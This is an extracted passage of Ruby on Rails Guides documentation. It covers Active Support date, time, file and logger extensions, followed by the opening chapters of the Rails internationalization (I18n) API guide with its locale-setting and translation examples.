# => Tue, 08 Jun 2010 00:00:00 +0000
```

Similarly, if minutes are zeroed, then seconds are too (unless it has given a value):

```
now.change(:min => 0)
# => Tue, 08 Jun 2010 01:00:00 +0000
```

This method is not tolerant to non-existing dates, if the change is invalid ArgumentError is raised:

```
DateTime.current.change(:month => 2, :day => 30)
```

```
# => ArgumentError: invalid date
```

17.1.4 Durations

Durations can be added to and subtracted from datetimes:

```
now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000
```

They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:

```
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000
```

18 Extensions to `Time`

18.1 Calculations

All the following methods are defined in `active_support/core_ext/time/calculations.rb`.

Active Support adds to `Time` many of the methods available for `DateTime`:

```
past?
today?
future?
yesterday
tomorrow
seconds_since_midnight
change
advance
ago
since (in)
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year
next_year
```

They are analogous. Please refer to their documentation above and take into account the following differences:

- `change` accepts an additional `:usec` option.
- `Time` understands DST, so you get correct DST calculations as in

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
```

```
# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(:seconds => 1)
# => Sun Mar 28 03:00:00 +0200 2010
```

- If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.

18.1.1 `Time.current`

Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.

When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`.

18.1.2 `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`

The method `all_day` returns a range representing the whole day of the current time.

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
```

Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
```

18.2 Time Constructors

Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00
```

Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.

Use the `local_time` class method to create time objects honoring the user time zone:

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.local_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 +0200 2010
```

The `utc_time` class method returns a time in UTC:

```
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
Time.utc_time(2010, 8, 15)
# => Sun Aug 15 00:00:00 UTC 2010
```

Both `local_time` and `utc_time` accept up to seven positional arguments: year, month, day, hour, min, sec, usec. Year is mandatory, month and day default to 1, and the rest default to 0.

mandatory, month and day default to 1, and the rest default to 0.

If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.

18.2.1 Durations

Durations can be added to and subtracted from time objects:

```
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
```

They translate to calls to `since` or `advance`. For example here we get the correct jump in the calendar reform:

```
Time.utc_time(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582
```

19 Extensions to `Process`

19.1 `daemon`

Ruby 1.9 provides `Process.daemon`, and Active Support defines it for previous versions. It accepts the same two arguments, whether it should chdir to the root directory (default, true), and whether it should inherit the standard file descriptors from the parent (default, false).

20 Extensions to `File`

20.1 `atomic_write`

With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.

The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.

For example, Action Pack uses this method to write asset cache files like `all.css`:

```
File.atomic_write(joined_asset_path) do |cache|
  cache.write(join_asset_file_contents(asset_paths))
end
```

To accomplish this `atomic_write` creates a temporary file. That's the file the code in the block actually writes to. On completion, the temporary file is renamed, which is an atomic operation on POSIX systems. If the target file exists `atomic_write` overwrites it and keeps owners and permissions.

Note you can't append with `atomic_write`.

The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

Defined in `active_support/core_ext/file/atomic.rb`.

21 Extensions to `Logger`

21.1 `around_[level]`

Takes two arguments, a `before_message` and `after_message` and calls the current level method on the `Logger` instance, passing in the `before_message`, then the specified message, then the `after_message`:

```
logger = Logger.new("log/development.log")
logger.around_info("before", "after") { |logger| logger.info("during") }
```

21.2 `silence`

Silences every log level lesser to the specified one for the duration of the given block. Log level orders are: debug, info,

error and fatal.

```
logger = Logger.new("log/development.log")
logger.silence(Logger::INFO) do
  logger.debug("In space, no one can hear you scream.")
  logger.info("Scream all you want, small mailman!")
end
```

21.3 `datetime_format=`

Modifies the datetime format output by the formatter class associated with this logger. If the formatter class does not have a `datetime_format` method then this is ignored.

```
class Logger::FormatWithTime < Logger::Formatter
  cattr_accessor(:datetime_format) { "%Y%m%d%H%m%S" }

  def self.call(severity, timestamp, progname, msg)
    "#{timestamp.strftime(datetime_format)} -- #{String === msg ? msg : msg.inspect}\n"
  end
end

logger = Logger.new("log/development.log")
logger.formatter = Logger::FormatWithTime
logger.info("<- is the current time")
```

Defined in `active_support/core_ext/logger.rb`.

22 Extensions to `NameError`

Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.

A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:

```
def default_helper_module!
  module_name = name.sub(/Controller$/, '')
  module_path = module_name.underscore
  helper module_path
rescue MissingSourceFile => e
  raise e unless e.is_missing? "#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end
```

Defined in `active_support/core_ext/name_error.rb`.

23 Extensions to `LoadError`

Active Support adds `is_missing?` to `LoadError`, and also assigns that class to the constant `MissingSourceFile` for backwards compatibility.

Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases:

```
def default_helper_module!
  module_name = name.sub(/Controller$/, '')
  module_path = module_name.underscore
  helper module_path
rescue MissingSourceFile => e
  raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
  raise e unless e.missing_name? "#{module_name}Helper"
end
```

Defined in `active_support/core_ext/load_error.rb`.

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Rails Internationalization (I18n) API

The Ruby I18n (shorthand for *internationalization*) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for **translating your application to a single custom language** other than English or for **providing multi-language support** in your application.

The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]

So, in the process of *internationalizing* your Rails application you have to:

- Ensure you have support for i18n
- Tell Rails where to find locale dictionaries
- Tell Rails how to set, preserve and switch locales

In the process of *localizing* your application you'll probably want to do the following three things:

- Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc.
- Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc.
- Store the resulting dictionaries somewhere

This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.

Chapters

1. **How I18n in Ruby on Rails Works**
   - **The Overall Architecture of the Library**
   - **The Public I18n API**
2. **Setup the Rails Application for Internationalization**
   - **Configure the I18n Module**
   - **Optional: Custom I18n Configuration Setup**
   - **Setting and Passing the Locale**
   - **Setting the Locale from the Domain Name**
   - **Setting the Locale from the URL Params**
   - **Setting the Locale from the Client Supplied Information**
3. **Internationalizing your Application**
   - **Adding Translations**
   - **Passing variables to translations**
   - **Adding Date/Time Formats**
   - **Localized Views**
   - **Organization of Locale Files**
4. **Overview of the I18n API Features**
   - **Looking up Translations**
   - **Interpolation**
   - **Pluralization**
   - **Setting and Passing a Locale**
   - **Using Safe HTML Translations**
5. **How to Store your Custom Translations**
   - **Translations for Active Record Models**
   - **Overview of Other Built-In Methods that Provide I18n Support**
6. **Customize your I18n Setup**
   - **Using Different Backends**
   - **Using Different Exception Handlers**
7. **Conclusion**
8. **Contributing to Rails I18n**
9. **Resources**
10. **Authors**
11. **Footnotes**

The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails **I18n Wiki** for more information.

1 How I18n in Ruby on Rails Works

Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is

hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

- providing support for English and similar languages out of the box
- making it easy to customize and extend everything for other languages

As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so *localization* of a Rails application means "over-riding" these defaults.

1.1 The Overall Architecture of the Library

Thus, the Ruby I18n gem is split into two parts:

- The public API of the i18n framework — a Ruby module with public methods that define how the library works
- A default backend (which is intentionally named *Simple* backend) that implements these methods

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section **Using different backends** below.

1.2 The Public I18n API

The most important methods of the I18n API are:

```
translate # Lookup text translations
localize  # Localize Date and Time objects to local formats
```

These have the aliases #t and #l so you can use them like this:

```
I18n.t 'store.title'
I18n.l Time.now
```

There are also attribute readers and writers for the following attributes:

```
load_path         # Announce your custom translation files
locale            # Get and set the current locale
default_locale    # Get and set the default locale
exception_handler # Use a different exception_handler
backend           # Use a different backend
```

So, let's internationalize a simple Rails application from the ground up in the next chapters!

2 Setup the Rails Application for Internationalization

There are just a few simple steps to get up and running with I18n support for your application.

2.1 Configure the I18n Module

Following the *convention over configuration* philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.

Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically.

The default `en.yml` locale in this directory contains a sample pair of translation strings:

```
en:
  hello: "Hello world"
```

This means, that in the `:en` locale, the key *hello* will map to the *Hello world* string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the `activerecord/lib/active_record/locale/en.yml` file or time and date formats in the `activesupport/lib/active_support/locale/en.yml` file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.

The i18n library takes a **pragmatic approach** to locale keys (after **some discussion**), including only the *locale* ("language") part, like `:en`, `:pl`, not the *region* part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English – United Kingdom" locale in a `:en-GB` dictionary. Various **Rails I18n plugins** such as **Globalize2** may help you implement it.

The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.

The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.

The default `application.rb` files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.

```
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
```

2.2 Optional: Custom I18n Configuration Setup

For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too.

To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application – just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:

```
# in config/initializers/locale.rb

# tell the I18n library where to find your translations
I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]

# set default locale to something other than :en
I18n.default_locale = :pt
```

2.3 Setting and Passing the Locale

If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests.

However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.

You may be tempted to store the chosen locale in a *session* or a *cookie*. **Do not do so**. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being ***RESTful***. Read more about the RESTful approach in **Stefan Tilkov's articles**. There may be some exceptions to this rule, which are discussed below.

The *setting part* is easy. You can set the locale in a `before_filter` in the `ApplicationController` like this:

```
before_filter :set_locale

def set_locale
  I18n.locale = params[:locale] || I18n.default_locale
end
```

This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and reloading the page.

Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have.

2.4 Setting the Locale from the Domain Name

One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the *top-level domain name* is used for locale setting. This has several advantages:

- The locale is an *obvious* part of the URL.
- People intuitively grasp in which language the content will be displayed.
- It is very trivial to implement in Rails.
- Search engines seem to like that content in different languages lives at different, inter-linked domains.

You can implement it like this in your `ApplicationController`:

```
before_filter :set_locale
```

```
before_filter :set_locale

def set_locale
  I18n.locale = extract_locale_from_tld || I18n.default_locale
end

# Get locale from top-level domain or return nil if such locale is not available
# You have to put something like:
#   127.0.0.1 application.com
#   127.0.0.1 application.it
#   127.0.0.1 application.pl
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
  parsed_locale = request.host.split('.').last
  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale  : nil
end
```

We can also set the locale from the *subdomain* in a very similar way:

```
# Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
#   127.0.0.1 gr.application.local
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
  parsed_locale = request.subdomains.first
  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
end
```

If your application includes a locale switching menu, you would then have something like this in it:

```
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
```

assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

2.5 Setting the Locale from the URL Params

The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` *before_filter* in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.

This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.

Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course.

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its **`ApplicationController#default_url_options`**, which is useful precisely in this scenario: it enables us to set "defaults" for **`url_for`** and helper methods dependent on it (by implementing/overriding this method).

We can include something like this in our `ApplicationController` then:

```
# app/controllers/application_controller.rb
def default_url_options(options={})
  logger.debug "default_url_options is passed options: #{options.inspect}\n"
  { :locale => I18n.locale }
end
```

Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.

You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Netherlands locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with **`path_prefix`** option in this way:

```
# config/routes.rb
scope "/:locale" do
```

```
  resources :books
end
```

Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Netherlands locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:

```
# config/routes.rb
scope "(:locale)", :locale => /en|nl/ do
  resources :books
end
```

With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.

Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root :to => "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)

You would probably need to map URLs like these:

```
# config/routes.rb
match '/:locale' => 'dashboard#index'
```

Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)

Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's **routing_filter** and Raul Murciano's **translate_routes**.

2.6 Setting the Locale from the Client Supplied Information

In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about *sessions*, *cookies* and RESTful architecture above.

2.6.1 Using `Accept-Language`

One source of client supplied information would be an `Accept-Language` HTTP header. People may **set this in their browser** or other clients (such as *curl*).

A trivial implementation of using an `Accept-Language` header would be:

```
def set_locale
  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
  I18n.locale = extract_locale_from_accept_language_header
  logger.debug "* Locale set to '#{I18n.locale}'"
end
private
def extract_locale_from_accept_language_header
  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end
```

Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's **http_accept_language** or even Rack middleware such as Ryan Tomayko's **locale**.

2.6.2 Using GeoIP (or Similar) Database

Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as **GeoIP Lite Country**. The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.

2.6.3 User Profile

You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.

3 Internationalizing your Application

OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.

Let's *internationalize* our application, i.e. abstract every locale-specific parts, and then *localize* it, i.e. provide necessary translations for these abstracts.

You most probably have something like this in one of your applications:

```
# config/routes.rb
Yourapp::Application.routes.draw do
  root :to => "home#index"
end

# app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = "Hello Flash"
  end
end

# app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>
```

3.1 Adding Translations

Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:

```
# app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = t(:hello_flash)
  end
end

# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>
```

When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.

Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.

So let's add the missing translations into the dictionary files (i.e. do the "localization" part):

```
# config/locales/en.yml
en:
  hello_world: Hello world!
  hello_flash: Hello flash!

# config/locales/pirate.yml
pirate:
  hello_world: Ahoy World
  hello_flash: Ahoy Flash
```

There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:

And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get:

You need to restart the server when you add new locale files.

You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)

3.2 Passing variables to translations

3.2 Passing variables to translations

You can use variables in the translation messages and pass their values from the view.

```
# app/views/home/index.html.erb
<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>

# config/locales/en.yml
en:
  greet_username: "%{message}, %{user}!"
```

3.3 Adding Date/Time Formats

OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used.

```
# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p
<p><%= l Time.now, :format => :short %></p>
```

And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):

```
# config/locales/pirate.yml
pirate:
  time:
    formats:
      short: "arrrround %H'ish"
```

So that would give you:

Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the **rails-i18n repository at Github** for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.

3.4 Localized Views

Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a *BooksController* in your application. Your *index* action renders content in `app/views/books/index.html.erb` template. When you put a *localized variant* of this template: **`index.es.html.erb`** in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this *automagic* localization to assets in `public`, etc.)

You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.

3.5 Organization of Locale Files

When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

For example, your `config/locales` directory could look like this:

```
|-defaults
|---es.rb
|---en.rb
|-models
|---book
|-----es.rb
|-----en.rb
|-views
|---defaults
|-----es.rb
|-----en.rb
|---books
|-----es.rb
|-----en.rb
|---users
|-----es.rb
|-----en.rb
```

```
|---navigation
|-----es.rb
|-----en.rb
```

This way, you can separate model and model attribute names from text inside views, and all of this from the “defaults” (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.

The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:

```
# config/application.rb
  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
```

Do check the **Rails i18n Wiki** for list of tools available for managing translations.

4 Overview of the I18n API Features

You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we’ll cover it’s features in more depth.

Covered are features like these:

- looking up translations
- interpolating data into translations
- pluralizing translations
- using safe HTML translations
- localizing dates, numbers, currency, etc.

4.1 Looking up Translations

4.1.1 Basic Lookup, Scopes and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

```
I18n.t :message
I18n.t 'message'
```

The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:

```
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
```

This looks up the `:record_invalid` message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

```
I18n.translate "activerecord.errors.messages.record_invalid"
```

Thus the following calls are equivalent:

```
I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', :scope => :active_record
I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
```

4.1.2 Defaults

When a `:default` option is given, its value will be returned if the translation is missing:

```
I18n.t :missing, :default => 'Not here'
# => 'Not here'
```

If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

E.g., the following first tries to translate the key `:missing` and then the key `:also_missing`. As both do not yield a result, the string “Not here” will be returned:

```
I18n.t :missing, :default => [:also_missing, 'Not here']
# => 'Not here'
```

4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

```
I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
# => ["must be odd", "must be even"]
```

Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive *all* Active Record error messages as a Hash with:

```
I18n.t 'activerecord.errors.messages'
# => { :inclusion => "is not included in the list", :exclusion => ... }
```

4.1.4 “Lazy” Lookup

Rails implements a convenient way to look up the locale inside *views*. When you have the following dictionary:

```
es:
  books:
    index:
      title: "Título"
```

you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):

```
<%= t '.title' %>
```

4.2 Interpolation

In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.

All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:

```
I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
I18n.translate :thanks, :name => 'Jeremy'
# => 'Thanks Jeremy!'
```

If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.

4.3 Pluralization

In English there are only one singular and one plural form for a given string, e.g. “1 message” and “2 messages”. Other languages (**Arabic**, **Japanese**, **Russian** and many more) have different grammars that have additional or fewer **plural forms**. Thus, the I18n API provides a flexible pluralization feature.

The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:

```
I18n.backend.store_translations :en, :inbox => {
  :one => '1 message',
  :other => '%{count} messages'
}
I18n.translate :inbox, :count => 2
# => '2 messages'
```

The algorithm for pluralizations in `:en` is as simple as:

```
entry[count == 1 ? 0 : 1]
```

I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).

